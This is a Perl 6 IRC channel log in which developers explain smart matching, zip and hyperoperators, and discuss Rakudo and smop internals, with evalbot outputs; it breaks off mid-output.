19:47 pmichaud $/ is an object that has both array and hash characteristics
19:48 DanielC :-P
19:48 PerlJam and scalar characteristics!
19:48 DanielC So they gave it a scalar sigil?
19:48 pmichaud well, it is an object.
19:48 sjohnson pmichaud: :)
19:48 pmichaud and saying that $/ "looks like an array" is likely to misunderstand what it is/does.
19:49 synthEEEE joined #perl6
19:49 pmichaud it's far more than an array.
19:49 DanielC I thought that it was just a container for $/[0], $/[1] and friends.
19:49 pmichaud It also holds .from, .to, .orig, .Str
19:49 pmichaud it also holds any named captures, as $/{'abc'}  $/{'def'}, etc.
19:49 DanielC ok
19:49 [particle] rakudo: print $/ ~~ Array;
19:49 Tene and named captures
19:49 p6eval rakudo b6640c: OUTPUT«0»
19:50 [particle] rakudo: print $/ ~~ Positional;
19:50 p6eval rakudo b6640c: OUTPUT«1»
19:50 DanielC What is ~~ ?
19:50 Tene rakudo: "... tene ..." ~~ /<ident>/; say $/<ident>;
19:50 p6eval rakudo b6640c: OUTPUT«tene␤»
19:50 pmichaud ~~ is the smart matching operator
19:50 DanielC What's smart about it?
19:50 PerlJam DanielC: it's similar to what =~ is in perl 5
19:50 pmichaud in p5, it would be known as =~
19:51 pmichaud but it does more than simply match regular expressions
19:51 DanielC In p5 I would say that =~ is a regex operator.
19:51 pmichaud rakudo:  print "xyz" ~~ /y/;
19:51 p6eval rakudo b6640c: OUTPUT«y»
19:51 pmichaud rakudo:  print "xyz" ~~ Int;
19:51 p6eval rakudo b6640c: OUTPUT«0»
19:51 pmichaud rakudo:  print "xyz" ~~ Str;
19:51 p6eval rakudo b6640c: OUTPUT«1»
19:51 pmichaud rakudo:  print "xyz" ~~ { $_ eq 'xyz' }
19:51 p6eval rakudo b6640c: OUTPUT«1»
19:51 pmichaud rakudo:  print "xyz" ~~ { $_ eq 'def' }
19:51 p6eval rakudo b6640c: OUTPUT«0»
19:52 [particle] rakudo: print "xyz" ~~ Any;
19:52 p6eval rakudo b6640c: OUTPUT«1»
19:52 DanielC But how can  you predict what ~~ is going to do? What *does* it do? All of these examples look sensible after I see them, but I wouldn't have come up with any of them myself.
19:53 pmichaud DanielC: (1)  well, ~~ is "smart", so you don't have to predict :-P
19:53 pmichaud (2)  look at the "Smart matching" table in S03
19:54 * DanielC reads S03#Smart matching
19:56 DanielC I don't get it at all. Most of what I see here looks like incomprehensible babble.
19:56 jferrero joined #perl6
19:58 pmichaud basically the table describes the types of comparisons one can do with ~~
19:58 pmichaud for example
19:58 pmichaud Num       Range     in numeric range        X.min <= $_ <= X.max (mod ^'s)
19:58 DanielC And it looks like you are supposed to memorize a large table of special cases.
19:58 DanielC That's the last thing I want to do.
19:58 pmichaud means that   $x ~~ 1..10  will test if $x is in the range 1..10
19:58 DanielC Honestly, it makes me want to just ignore the ~~ thing.
19:58 pmichaud fair enough
19:59 pmichaud it really is intended to dwim in most cases
19:59 pmurias ruoso: we can just have a single element isa
19:59 DanielC Which is both sad and frustrating. One of the supposed features of Perl 6 is that it's supposed to be more regular, have less magic, and require less memorizatin.
20:00 pyrimidine I don't find that so
20:00 pmichaud DanielC: I think we've put most of the memorization into one place (the smart match)
20:00 DanielC You don't find Perl 6 regular?
20:00 pmichaud phone
20:01 pyrimidine I find smart match to be dwimmy
20:01 TimToady std: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
20:01 p6eval std 26947:  ( no output )
20:01 pyrimidine (in that it does what I would think it should in those cases)
20:02 TimToady should say Statements must be separated with semicolon at (eval) line 1:
20:02 DanielC But ~~ seems to work by magic. It looks unpredictable.
20:02 pmichaud there's a fine line between "smart" and "magic", yes.  :-)
20:04 TimToady the point is to put all the dwimminess into one spot, and then reuse that throughout the rest of the language consistently
20:05 DanielC TimToady: So far I've been very impressed with Perl 6, but ~~ scares me a bit. It looks unpredictable.
20:05 TimToady std: {42} {42}
20:05 p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Unexpected block in infix position (two terms in a row, or previous statement missing semicolon?) at /tmp/JRZbLnXRL2 line 1:␤------> [32m{42} [31m{42}[0m␤    expecting any of:␤ infix or meta-infix␤      infix stopper␤    standard stopper␤
20:05 p6eval ..terminator␤FAILED 00:02…
20:05 ZuLuuuuuu what does dwimmy mean, I can't seem to find it on dictionary :S
20:05 DanielC do what I mean
20:06 DanielC dwim = do what I mean
20:06 ZuLuuuuuu oh ok
20:06 pyrimidine if one does run into any problems the spec defines its expected behavior
20:06 TimToady it's actually predictable, despite appearances
20:06 pyrimidine (so it is defined and predictable)
20:07 pyrimidine ah, beat to the puch
20:07 ruoso pmurias, what do you mean by "single-element isa"?
20:07 azawawi joined #perl6
20:07 TimToady std: for 1..10 {...} {...}
20:07 DanielC pyrimidine: But "documented" is not the same thing as predictable. You can document 100 special cases.
20:07 p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/NSEiHzfAOq line 1:␤------> [32mfor 1..10 {...} [31m{...}[0m␤    expecting any of:␤   infix stopper␤    statement␤FAILED 00:02 35m␤»
20:08 sjohnson am i right in saying that Perl 6 will have hash keys tied automatically as they are entered into the hash?  i tested it with rukado and seemed to be the case
20:08 TimToady std: for (1..10) {...} {...}
20:08 p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/nEp8DhTgR8 line 1:␤------> [32mfor (1..10) {...} [31m{...}[0m␤    expecting any of:␤ infix stopper␤    statement␤FAILED 00:02 35m␤»
20:08 DanielC TimToady: Ok. Maybe it's just a matter of documentation / presenting it the right way.
20:08 pmurias ruoso: we can just pretend the object has meta information, and have one element in ^!isa (the class)
20:09 ruoso and have the object proxying itself the repr calls?
20:09 pyrimidine DanielC: true, but if the behavor is
20:09 pmurias ruoso: sorry i meant have "has no"
20:09 DanielC pyrimidine: I hope you are right.
20:09 pmurias we don't have to pretend
20:10 ruoso pmurias, hmmm... I don't follow... start again from the beggining...
20:10 ruoso ;)
20:10 pyrimidine only time will tell
20:10 pyrimidine but I would assume any unpredictatble/undocumented behavior to be a bug and not a feature
20:10 DanielC pyrimidine: Maybe I just can't see it. It's just that right now it looks like I have to memorize a big table of special cases. That makes me want to avoid using ~~.
20:11 pyrimidine * unpredictable
20:11 pyrimidine ok
20:11 pyrimidine there are other ways to do what you want
20:11 pmurias ruoso: if the object has no meta definitions and i just a instance of something, we can represent it directly my having stuff like ^!methods empty and having one element in ^!isa which points to it's "class"
20:11 PerlJam DanielC: except that table is dwimmy
20:11 azawawi std: 0x0;
20:11 p6eval std 26947: OUTPUT«ok 00:02 35m␤»
20:11 azawawi std: 00x0;
20:11 p6eval std 26947: OUTPUT«Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804.␤FAILED 00:02 35m␤»
20:11 pyrimidine PerlJam: yes
20:12 ruoso pmurias, right... and the .^!instanceof would be calculated in runtime...
20:12 TimToady std: for 1..10 {...} for 1..10 {...}
20:12 p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/1shbDV8qq1 line 1:␤------> [32mfor 1..10 {...} [31mfor 1..10 {...}[0m␤    expecting any of:␤ infix stopper␤    statement␤FAILED 00:02 35m␤»
20:12 TimToady Statements must be separated with semicolon at (eval) line 1:
20:12 pyrimidine ...and if there are questions about behavior the table is there for reference
20:12 TimToady std: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
20:12 pmurias ruoso: do we need actually need it anywhere?
20:12 p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/6XK6nFwJ90 line 1:␤------> [32m $str; for (1 .. 20) { %hash{$_} = 1; } [31mfor (keys(%hash)) { $str ~= "$_ "; }; pr[0m␤    expecting any of:␤        infix stopper␤    statement␤FAILED 00:02 36m␤»
20:13 TimToady now it works o_O
20:13 ruoso pmurias, I mean, it doesn't need to be stored anywhere... but .WHAT is really .^!instanceof
20:13 TimToady azawawi: working on that one
20:14 azawawi TimToady: thx
20:14 PerlJam DanielC: it's kind of like saying you have to memorize a table of what to do given two numbers and an operator.  3 + 5, 3 * 5, etc.  Except that rather than the operator changing, it's the operands that vary
20:14 pmurias ruoso: WHAT is uncommon so we can accept some overhead on that
20:14 ruoso sure...
20:16 azawawi TimToady: i encountered that while tokenizing integers into binary,hex,octal,radix,underscore_separated,etc (part of a re-write of S:H:P6 to be more PPI OO-like).
20:16 mizioumt1 joined #perl6
20:16 DanielC PerlJam: My first impulse was to say that that sounds backwards, but I recognize TimToady's point that it concentrates all the dwimness in one operator, and I see value in that.
20:16 pmurias DanielC: one good thing about ~~ is that it provides a standardized interface for all sort of find elements like this apis
20:17 TimToady and the dwimminess is actually entirely controlled by the right operand, which can decide whether to take the left operand into account
20:17 DanielC TimToady: Thanks. That's actually a good thing to know.
20:18 DanielC It makes it feel a lot more predictable.
20:19 pmurias ruoso: one think that would be very helpfull would be the ability to add methods written in Perl 6 to lowlevel objects
20:19 ruoso pmurias, that will be possible as soon as lowlevel objects implement the REPR API
20:19 ruoso pmurias, but maybe you mean something simpler...
20:20 mizioumt1 joined #perl6
20:20 pmurias that could work... the lowlevel methods wouldn't be overwiteable though as the need to be special cased for bootstraping
20:21 DanielC pmurias: So if you make your own class and you want to add a search/match method you are supposed to use ~~ for that?
20:22 jnthn DanielC: You implement .ACCEPTS.
20:22 TimToady you just add a .ACCEPTS method to define smartmatch semantics
20:22 TimToady $rhs.ACCEPTS($lhs), specifically
20:22 DanielC Interesting.
20:22 TimToady it's sugar for a reversed method call, really
20:23 DanielC ah
20:23 TimToady rakudo: say /foo/.ACCEPTS("goodfood")
20:23 p6eval rakudo b6640c: OUTPUT«foo␤»
20:23 TimToady rakudo: say ?/foo/.ACCEPTS("goodfood")
20:23 p6eval rakudo b6640c: OUTPUT«1␤»
20:24 pmurias DanielC: or did you mean $webpage->find_link(...)? with ... being the stuff links are match against?
20:24 DanielC So it's sort of like saying that any class could have (say) a .match() method, but instead of writing "if $rhs.match($lhs)" which is clearly awkward, Perl 6 offers the syntactic sugar "if $lhs ~~ $rhs" which reads much better.
20:25 TimToady yes, and it's the same order as the args in given $thing { when $pattern {...} }
20:25 DanielC ok
20:25 TimToady which is the main place smartmatching shows up outside of ~~
20:26 TimToady but also anywhere else that does matching, such as grep
20:26 DanielC Ok. Thanks for the explanations.
20:27 DanielC I feel much more confident about ~~ now.
20:28 pmichaud zip($a,$b,$c) vs. zip($a,$b,$c;$d)
20:28 jnthn rakudo: &Any::split.find_possible_candidates("abc", "b")>>.signature>>.perl.say
20:28 p6eval rakudo b6640c: OUTPUT«:(Object self, Any $delimiter, Any $limit?)␤»
20:31 pmurias ruoso: the repr API depends on s1p. is having a function pointer which gets updated once the appropriate smop "lowlevel repr" module is loaded a good idea?
20:31 ruoso pmurias, I was thinking about that too... I was actually thinking that mildew core could become one of the smop modules
20:32 ruoso and then it would feel more ok to do such manipulations
20:33 payload joined #perl6
20:33 pmurias how would making mildew core one of the smop modules help us?
20:34 ruoso because we could think about manipulate it at the C level
20:34 ruoso today the core loading happens in generated code..
20:34 ruoso beginging it as a smop module would give us more control
20:35 ruoso and eventually we could extract mold generated by mildew in C code to be used in lowlevel
20:36 brunov joined #perl6
20:37 ejs joined #perl6
20:38 aartist joined #perl6
20:38 aartist rakudo: say <1 2>
20:38 p6eval rakudo b6640c: OUTPUT«12␤»
20:38 aartist rakudo: my $x = " abc "; say $x.trim;
20:38 p6eval rakudo b6640c: OUTPUT«abc␤»
20:39 aartist rakudo: say <1 2 3 2 5 6 4 3>.uniq.perl
20:39 p6eval rakudo b6640c: OUTPUT«["1", "2", "3", "5", "6", "4"]␤»
20:42 aartist am ray Caelum pastorn integral
20:42 aartist broquaint patmat meteorjay obra_ ascent_ ingy Khisanth
20:42 aartist Trey rjh cls_bsd cj charsbar yahooooo Maddingue @jnthn
20:42 aartist buu
20:42 aartist 16:38 <aartist> rakudo: say <1 2>
20:42 aartist 16:38 <p6eval> rakudo b6640c: OUTPUT«12␤»
20:42 aartist 16:38 <aartist> rakudo: my $x = " abc "; say $x.trim;
20:42 aartist 16:38 <p6eval> rakudo b6640c: OUTPUT«abc␤»
20:42 aartist 16:39 *** xinming QUIT Read error: 110 (Connection timed out)
20:42 aartist 16:39 <aartist> rakudo: say <1 2 3 2 5 6 4 3>.uniq.perl
20:42 aartist 16:39 <p6eval> rakudo b6640c: OUTPUT«["1", "2", "3", "5", "6", "4"]␤»
20:42 aartist > rakudo: say 1..10.WHAT
20:42 lambdabot <no location info>: parse error on input `..'
20:43 aartist rakudo: say 1..10.WHAT
20:43 p6eval rakudo b6640c: OUTPUT«Use of type object as value␤␤»
20:43 pmichaud rakudo:  say (1..10).WHAT
20:43 jnthn rakudo: say (1..10).WHAT
20:43 p6eval rakudo b6640c: OUTPUT«Range()␤»
20:43 p6eval rakudo b6640c: OUTPUT«Range()␤»
20:43 * cotto smiles
20:44 jnthn rakudo: say ('all fools are the same', 'great minds think alike').pick
20:44 p6eval rakudo b6640c: OUTPUT«all fools are the same␤»
20:44 jnthn bwah.
20:44 PerlJam rakudo++
20:44 PerlJam :)
20:44 pmichaud rakudo: say ('all fools are the same', 'great minds think alike').pick
20:44 p6eval rakudo b6640c: OUTPUT«great minds think alike␤»
20:45 pmichaud :)
20:45 pmichaud I guess it's all a matter of context :-P
20:45 jnthn :-P
20:45 cotto rakudo: say +('all fools are the same', 'great minds think alike').pick
20:45 p6eval rakudo b6640c: OUTPUT«1␤»
20:46 TimToady bug
20:46 aartist @seen TimToday
20:46 lambdabot I haven't seen TimToday.
20:46 aartist @seen sjohnson
20:46 lambdabot sjohnson is in #perl6. I last heard sjohnson speak 38m 17s ago.
20:47 PerlJam rakudo: say +(9,5,2).pick;
20:47 p6eval rakudo b6640c: OUTPUT«1␤»
20:47 TimToady bug
20:47 pyrimidine rakudo: say +(9,5,2).pick(*);
20:47 TimToady .pick is supposed to return a capture, and a capture of 1 element is supposed to turn into itself
20:47 p6eval rakudo b6640c: OUTPUT«3␤»
20:47 TimToady er, into its element
20:48 TimToady that's correct, because pick returned more than one element
20:48 pmichaud (rakudo doesn't really do captures yet)  :-)
20:48 TimToady well, we'll just rename them as "lists" and then you won't have to do captures :)
20:48 pyrimidine heh
20:48 jnthn \o/
20:49 pmichaud and a list of 1 element turns into itself?  \o/
20:49 pmichaud er, a list of 1 element turns into the one element?  ;-)
20:49 TimToady that seems to be the direction things are headed
20:49 pmichaud \o/
20:49 pugs_svn r26948 | pmurias++ | [re-smop] removed ^!instanceof
20:50 pmichaud especially since a single elements tends to turn into a list of 1 element :-)
20:50 pmichaud s/ments/ment/
20:50 pmurias ruoso: how should the lowlevel repr module be called?
20:50 ruoso pmurias, what will it do exactly?
20:51 ruoso I mean... I got it will support high-level methods to be low-level dispatched
20:51 ruoso but... anything else?
20:51 pmurias a lowlevel metaclass to allow ^can on lowlevel object would be nice
20:51 meehav joined #perl6
20:51 frodwith joined #perl6
20:51 cavelife^ joined #perl6
20:51 silug joined #perl6
20:51 avar joined #perl6
20:51 allbery_b joined #perl6
20:52 pmurias so for example coroutines could have additional debugging support
20:52 tulcod joined #perl6
20:53 pmurias and optionally have methods such as .step
20:53 ruoso pmurias, if we do things right... the REPR api should provide enough info so that a regular HOW can use it
20:53 ruoso so you don't need a lowlevel metaclass
20:54 pmurias yes
20:54 pmurias that's the point of having a REPR api afterall
20:54 ruoso indeed
20:58 pmurias does } else if (ret = smop_lowlevel_repr_handler(interpreter,self,identifier,capture,metainfo)) { seem sensible?
21:04 sjohnson i should get a Perl 6 tattoo on my forehead
21:04 sjohnson to spread the happiness and good news
21:09 ruoso pmurias, it does...
21:10 ruoso pmurias, see how p6opauqe handles the re-dispatch
21:13 Sartak joined #perl6
21:14 Sartak hi! I see from the "perl 6 sells itself" post that methods like "chars" and "bytes" are available as functions and methods.. I'm wondering why expose them as functions at all? (or is it using generic functions?)
21:15 sjohnson Sartak: where did you see that post?
21:15 Sartak http://use.perl.org/~masak/journal/39025
21:15 sjohnson but like, do you regularily check masak's journal?
21:15 sjohnson or did you find it on another site
21:15 Sartak I've subscribed to his blog's rss feed so I saw it directly
21:15 sjohnson oh i see
21:15 sjohnson cool
21:16 sjohnson i had no idea it was being "logged" :) but im happy with it anyway
21:16 Sartak :)
21:16 sjohnson sartak the reason is
21:16 sjohnson for unicode strings that are multibyte
21:16 Sartak wait hang on
21:16 Sartak I know why there is a difference :)
21:17 sjohnson i dont understand the question :(
21:17 Sartak I'm wondering why chars($foo) exists, since $foo.chars is perfectly fine
21:17 jnthn Because you don't always want to be forced to think in an OO-kinda way when it doesn't suite the task at hand.
21:17 jnthn *suit
21:17 Sartak is chars($foo) just sugar for $foo.chars?
21:18 sjohnson same with trim($string) and $string.trim
21:18 sjohnson samy with $string.say
21:18 sjohnson or say $string
21:18 pmurias they give you are choice between a multi and a method
21:18 jnthn Sartak: Not sugar as such, but it's a multi-method that gets exported.
21:18 Sartak I guess the important point is: if I subclass string can I override the behavior of chars($my_string_subclass)
21:18 Sartak oh okay, in that case yes
21:18 jnthn So the same underlying implementation is available as both.
21:19 TimToady only if both are exported
21:19 jnthn Yes, you can add your more specific candidate too...just mark it is export.
21:20 TimToady to the first approximation, the semantics of single dispatch are entirely controlled by the object, while the semantics of multiple dispatch are controlled by the lexical scope's idea of the current language
21:20 Sartak excellent
21:21 TimToady and operators, since they are defined by the language, not by the objects, are considered multiply dispatched
21:21 TimToady which is how we can make + force numeric, for instance
21:21 TimToady or == vs eq
21:21 Sartak yep, I'm quite familiar with multi dispatch and typeclasses :)
21:22 TimToady however, if you do $object.'+'($other), the interpretation of + will depend on the $object's langauge of origin
21:22 TimToady and might concatentate strings, for instance
21:23 TimToady it just turns out to be a very useful boundary for language decisions vs pure OO
21:24 TimToady when you export a method like chars, you're essentially making it a part of the language for the user
21:26 kesselhaus joined #perl6
21:26 Sartak thanks TimToady. that is a lot saner than I was fearing (which was a repeat of perl 5's rigidity for builtins)
21:26 sjohnson timtoady is a cute name
21:27 kesselhaus hi, someone here able to download setup-parrot-1.2.0-rakudo-17.exe from the SF site?
21:28 TimToady Sartak: everyone is allowed to panic once :)
21:29 TimToady just so everyone doesn't panic simultaneously
21:30 TimToady it was cuter when I was actually one of Tim's toadies... :)
21:30 masak joined #perl6
21:30 TimToady well, my pastor's name is Tim, so I guess it still works :)
21:30 sjohnson heh
21:31 ZuLuuuuuu #pardus
21:31 ZuLuuuuuu ups sorry
21:31 sjohnson timtoady:  can you talk about your job at o'Reilly a bit?  are you allowed to think about Perl 6 at work?
21:31 Whiteknight joined #perl6
21:32 TimToady I haven't worked for O'Reilly since shortly after 9/11
21:32 skids joined #perl6
21:32 sjohnson what?  wikipedia wasn't... accurate?  *gasp*
21:34 masak sjohnson: time to contribute a patch, then.
21:34 sjohnson are you happily retired? or do you still have a job doing some programming
21:35 sjohnson oh nevermind, i think i read it on the back of the camel book
21:35 sjohnson *phew*. for a sec i thought wikipedia couldn't be relied upon anymoer
21:35 cotto no wai
21:36 ZuLuuuuuu wikipedia is a great source but just don't believe it blindly, that's all
21:39 sjohnson i use wiki all the time for "General knowledge"
21:39 sjohnson like a general overview of some topic
21:39 sjohnson to get a rough idea what people are talking about, etc
21:39 pmurias isn't don't believe $thing blindly general advice?
21:40 ZuLuuuuuu you can believe all the things I say blindly :)
21:40 ZuLuuuuuu I'm exception
21:42 DanielC joined #perl6
21:43 DanielC Perl 6 doesn't include max and min functions, does it? Is there a zip function? (takes two arrays and returns an array made of pairs of elements of the two input arrays)
21:43 kesselhaus hi, someone here able to download setup-parrot-1.2.0-rakudo-17.exe from the SF site?
21:43 DanielC zip (1,2,3) , (2,3,4) => ( (1,2), (2,3), (3,4) )
21:44 skids DanielC: the functional form of zip is waiting on slice context, or whatever replaces that.
21:45 sjohnson yes but it isn't called zip
21:45 sjohnson at least i dont think it is in Perl6
21:45 skids Yes, it is.
21:45 DanielC What is slice context?
21:45 sjohnson rakudo: (<a b> X <1 2>).say
21:45 p6eval rakudo b6640c: OUTPUT«a1a2b1b2␤»
21:45 cmarcelo joined #perl6
21:45 skids Well, first, the Z operator works already.
21:46 skids just not the functional "zip" form.
21:46 sjohnson rakudo: (1, 2, 3> X <4,5,6>).say
21:46 p6eval rakudo b6640c: OUTPUT«Could not find non-existent sub X␤»
21:46 DanielC Wait, I'm over my head. What is <a b> ?
21:46 sjohnson rakudo: (<1, 2, 3> X <4,5,6>).say
21:46 p6eval rakudo b6640c: OUTPUT«1,4,5,62,4,5,634,5,6␤»
21:46 PerlJam DanielC: <a b c> is the same as ('a','b','c')
21:46 skids rakudo: say <a b> Z <c d> Z <e f>
21:46 sjohnson it's an array
21:46 p6eval rakudo b6640c: OUTPUT«acebdf␤»
21:47 DanielC PerlJam: thanks
21:47 mizioumt joined #perl6
21:47 sjohnson in p5, equiv to qw(a b c)
21:47 jnthn pmichaud: ping
21:47 DanielC rakudo: say (<1, 2, 3> X <4,5,6>).perl
21:47 p6eval rakudo b6640c: OUTPUT«["1,", "4,5,6", "2,", "4,5,6", "3", "4,5,6"]␤»
21:47 DanielC ??
21:47 ZuLuuuuuu kesselhaus: it says the file is unavailable
21:48 skids So anyway, slice context is the ability to say func(@a; @b; @c) and have it behave sortof like func(\@a,\@b,\@c)
21:48 DanielC The X thing doesn't seem to do what I mean.
21:48 skids and a similar thing on return values.
21:48 pmichaud jnthn: pong
21:48 decasm left #perl6
21:48 skids DanielC: see the Z example above.
21:48 jnthn pmichaud: Just spent a while trying to track down an issue in the dispatch and finally worked out what it is. :-|
21:48 DanielC rakudo: say ( <a b> Z <c d> ).perl
21:48 p6eval rakudo b6640c: OUTPUT«["a", "c", "b", "d"]␤»
21:48 jnthn pmichaud: We create various strings and ints by doing
21:49 jnthn $P0 = new 'Str'
21:49 jnthn etc
21:49 masak rakudo: say (<bon digi bon digi>, "bon" xx ++$*n, "digi" xx $*n).join(", ") while *
21:49 p6eval rakudo b6640c: OUTPUT«bon, digi, bon, digi, bon, digi␤bon, digi, bon, digi, bon, bon, digi, digi␤bon, digi, bon, digi, bon, bon, bon, digi, digi, digi␤bon, digi, bon, digi, bon, bon, bon, bon, digi, digi, digi, digi␤bon, digi, bon, digi, bon, bon, bon, bon, bon, digi, digi, digi, digi, digi␤bon,
21:49 p6eval ..digi, b…
21:49 jnthn Rather than Str.new
21:49 masak bon digi, people.
21:49 DanielC skids: Unless I'm missing something, that's not right either. I was hoping for an array of arrays.  [ [a,c], [b,d] ] not a flattened array.
21:49 pmichaud <a b> is a list
21:49 jnthn At present, the second of those goes through the whole "create the object from the p6opaque" thing.
21:50 sjohnson rakudo:  say <a b>.WHAT
21:50 p6eval rakudo b6640c: OUTPUT«List()␤»
21:50 jnthn And the first does not.
21:50 jnthn That means we end up hitting Parrot's dispatcher, when goes on to do the Wrong Thing. :-|
21:50 pmichaud jnthn: $P0 = new 'Str' should disappear.
21:50 jnthn pmichaud: OK, if you're fine with that going away, that makes my life a lot easier. :-)
21:50 pmichaud in general we should let "box" and hll type mapping handle our strings/ints for us.
21:51 jnthn *nod*
21:51 pmichaud *that* might still do the Wrong Thing, though.
21:51 pmichaud Depending on what you think the Right Thing ought to be.
21:51 DanielC jnthn: But in theory (1,2,3) Z (3,4,5) is supposed to give (  (1,3) , (2,4) , (3,5) ) ?
21:51 skids DanielC: yes unless you flatten it.
21:51 pmichaud DanielC: (1,2,3) Z (3,4,5) does give ( (1,3), (2,4), (3,5) ).  We just don't have a way to get it out that way yet :-|
21:51 jnthn pmichaud: Well, long term I plan to have the instantiate vtable do the right thing so it *will* work.
21:52 DanielC pmichaud: "getting it out" ?
21:52 DanielC skids: thanks
21:52 jnthn pmichaud: But that's another chunk of refactoring...
21:52 pmichaud DanielC: most of the operations tend to want to flatten Lists
21:52 DanielC pmichaud: And that's a bug that will be fixed later?
21:53 pmichaud depends on what you mean by "bug"
21:53 pmichaud in particular:   my @a = (1,2,3) Z (3,4,5)  will produce [1, 3, 2, 4, 3, 5]
21:53 pmichaud because assignment to an array will flatten.
21:53 DanielC Ah, so it is the *assignment* that flattens it?
21:54 DanielC How do I get it in non-flat format?
21:54 keta joined #perl6
21:54 skids DanielC: Ithink now thats $a =  (1,2,3) Z (3,4,5)
21:54 keta rakudo: sub postfix:<!>(Int $x) {[*] 1..$x}
21:54 pmichaud yes,   $a  would probably not flatten
21:54 p6eval rakudo b6640c:  ( no output )
21:54 DanielC I'm thinking about how I would implement a dot product in Perl 6.
21:55 PerlJam rakudo: my $a = (1,2,3) Z (3,4,5); $a.perl.say;
21:55 p6eval rakudo b6640c:  ( no output )
21:55 PerlJam er .. that was unexpected
21:56 keta this gives an error with my local rakudo: perl6 -e 'sub postfix:<!>(Int $x) {[*] 1..$x}'
21:56 skids infix:<Z> is still a PIR function, and has some quirks as a result.
21:56 keta I have the latest Parrot. Maybe this is the reason.
21:57 keta The Rakudo here seems to handle it...
21:57 pmichaud keta: what error do you get?
21:57 keta Malformed routine definition at line 1, near "postfix:<!"
21:57 PerlJam rakudo: my $a = (1,2,3) Z (3,4,5); say $a.perl;
21:57 p6eval rakudo b6640c: OUTPUT«[1, 3, 2, 4, 3, 5]␤»
21:57 DanielC For example, the dot product would be something like this:  [+] map { $^a[0] * $^a[1] } (@a Z @b);
21:57 PerlJam rakudo: my $a = (1,2,3) Z (3,4,5); $a.perl.say;
21:57 p6eval rakudo b6640c: OUTPUT«[1, 3, 2, 4, 3, 5]␤»
21:57 PerlJam Hmm
21:58 TimToady [+] @a »*« @b
21:58 PerlJam DanielC: I think you mean [+] map { $^a * $^b }, @a Z @b;
21:58 PerlJam but ... what TimToady said
21:59 keta pmichaud: Should I downgrade Parrot?
21:59 pmichaud keta: what revision of parrot do you have?
21:59 DanielC What does » do?
22:00 keta pmichaud: r39199
22:00 DanielC "[+] @a »*« @b" looks like a very impressive way to define a dot product.
22:00 pmichaud keta:  In general I recommend using the version of Parrot that Rakudo normally wants (the one in build/PARROT_REVISION)
22:01 pochi DanielC: I think it is the hyperoperator >> ... <<
22:01 keta pmichaud: I'll try that. Just wanted to report it.
22:02 skids pochi is correct.
22:02 DanielC pochi: Can I use the >> sign (ie. two > signs) or do I have to use » ?
22:02 PerlJam DanielC: either.
22:02 DanielC Thanks.
22:02 skids >> is texas  »
22:02 TimToady see the section "Hyper operators" in S03
22:02 DanielC I can't type » on my keyboard.
22:02 masak not many people have such a key per se.
22:02 * DanielC opens S03
22:03 masak but a powerful editor will enable you to type it.
22:03 sjohnson doesnt >> just work?
22:03 sjohnson oh
22:03 masak yes, sure.
22:03 PerlJam DanielC: in vim you can type control-K<< to get «
22:03 sjohnson i see perljam answerd the question
22:03 * skids rmembers he never got around to doing something cute with hash hypers.
22:03 PerlJam DanielC: the analogous thing for >>
22:04 TimToady yes, and >> is even considered beautiful--in Texas
22:04 masak :)
22:05 * PerlJam wonders what the texas version of ö looks like
22:06 skids (**)?
22:06 masak pmichaud: this hackathon thing seems popular. the organizers have gone from 4 guests to 17. I'm looking forward to meeting all the Swedish Perl programmers, thirsty for news about Perl 6. :)
22:06 PerlJam so, >>(**)<< would be the "texas camelia"?
22:07 DanielC rakudo: #[+] map { $^a[0] * $^a[1] } (@a Z @b);
22:07 p6eval rakudo b6640c: OUTPUT«Can't use embedded columns in column 1 at line 2, near "[+] map { "␤in Main (src/gen_setting.pm:0)␤»
22:07 skids P
22:07 skids :)
22:07 skids 6
22:07 DanielC I know that the code is wrong, but this is a *comment*.
22:07 DanielC Why is Rakudo trying to parse a comment?
22:07 masak DanielC: only #[+] is a comment.
22:08 masak DanielC: see S02.
22:08 JDlugosz Hello.
22:08 DanielC ??
22:08 PerlJam DanielC: perl6 has "enhanced comments" :)
22:08 JDlugosz Larry: are you around?
22:08 masak DanielC: ¿¿
22:08 sjohnson 蜘蛛
22:08 PerlJam DanielC: # followed by a bracketing construct, lets you do multi-line comments.   #{ this whole thing is a comment }
22:08 skids DanielC: # can take a parenthesizer
22:09 DanielC ah...
22:09 ruoso rakudo: my @a := map { .say }, 1..10; say @a[4];
22:09 PerlJam But that's an odd error message anyway "Can't use embedded columns"? what does that even mean?
22:09 p6eval rakudo b6640c: OUTPUT«1␤2␤3␤4␤5␤6␤7␤8␤9␤10␤»
22:09 ruoso hm... no lazyness in rakudo yet...
22:09 ruoso pugs: my @a := map { .say }, 1..10; say @a[4];
22:09 p6eval pugs: OUTPUT«1␤2␤3␤4␤5␤6␤7␤8␤9␤10␤1␤»
22:09 JDlugosz To type funny chars, DanielC and others, check out <http://www.xkeys.com/xkeys/xkstick.php>.
22:09 ruoso nor in pugs
22:09 masak sjohnson: 你会写中文?
22:10 ruoso rakudo: my @a = gather for 1..* { take say $_ }; say @a[4];
22:10 p6eval rakudo b6640c: OUTPUT«Use of uninitialized value␤Use of uninitialized value␤␤»
22:10 masak dang, meant 你会写中文吗? of course... :)
22:10 ruoso rakudo: my @a = gather for 1..* -> $n { take say $n }; say @a[4];
22:10 p6eval rakudo b6640c: OUTPUT«Use of uninitialized value␤Use of uninitialized value␤␤»
22:10 ruoso pugs: my @a = gather for 1..* -> $n { take say $n }; say @a[4];
22:10 p6eval pugs: OUTPUT«1␤2␤3␤4␤5␤6␤7␤8␤9␤10␤11␤12␤13␤14␤15␤16␤17␤18␤19␤20␤21␤22␤23␤24␤25␤26␤27␤28␤29␤30␤31␤32␤33␤34␤35␤36␤37␤38␤39␤40␤41␤42␤43␤44␤45␤46␤47␤48␤49␤50␤51␤52␤53␤54␤55␤56␤57␤58␤59␤60␤61␤62␤63␤64␤65␤66␤67␤68␤69␤70␤71␤72␤73␤74␤75␤76␤77␤78␤79␤80␤81␤82␤83␤84␤85�
